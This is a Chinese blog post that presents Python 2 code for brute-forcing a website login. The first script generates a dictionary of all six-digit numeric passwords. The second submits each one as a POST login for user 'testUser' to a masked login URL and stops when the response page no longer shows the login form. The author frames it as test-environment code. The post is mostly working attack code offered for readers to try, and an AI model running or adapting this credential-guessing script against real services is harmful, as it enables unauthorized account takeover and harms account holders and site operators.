python 暴力破解密码脚本

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

首先,该网站登陆的验证要支持 无限次的密码尝试

假设testUser 的密码为 6位的纯数字

 

1:先长成 6位纯数字密码字典

复制代码
import os

pds=[]


rg=range(0,10)

for first in rg:
    for second in rg:
        for three in rg:
            for four in rg:
                for five in rg:
                    for six in rg:
                        num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                        pds.append(num)



file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')
file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])
file_object.close( )
复制代码

 上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

 

2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

复制代码
import urllib,urllib2,HTMLParser  

#解析网页的爬虫
class OAParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.pd=[]
    def handle_data(self, data):
        #print "Encountered some data  :", data
        self.pd.append(data)

  
#暴力破解脚本
def tryLogin(name,pwd):
    parm={"loginName":name,
          "password":pwd}
    url="http://192.**.*.*/***/login/li"
    r=urllib2.urlopen(url, urllib.urlencode(parm))
    parse=OAParser()
    parse.feed(r.read())
    parse.close()
    isFind=False
    if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
        print '尝试密码',pwd,'登陆失败'
        isFind = False
    else:
        print user,'登陆成功','password = ',pwd
        isFind=True    
    del(parse)
    
    return isFind
    


user='testUser'
#password=['1','12','123','1234','12345','123456','12345678']  
fpath='/Users/teso/Desktop/pwdNum6.txt'
pfile=open(fpath,'r')

for onePwd in pfile.readlines():
    if tryLogin(user, onePwd[:6]):
        break;
复制代码

 

流程大致如此,自行研究着玩了

posted @   cocoajin  阅读(16048)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
历史上的今天:
2013-09-24 电脑PE系统工具
点击右上角即可分享
微信分享提示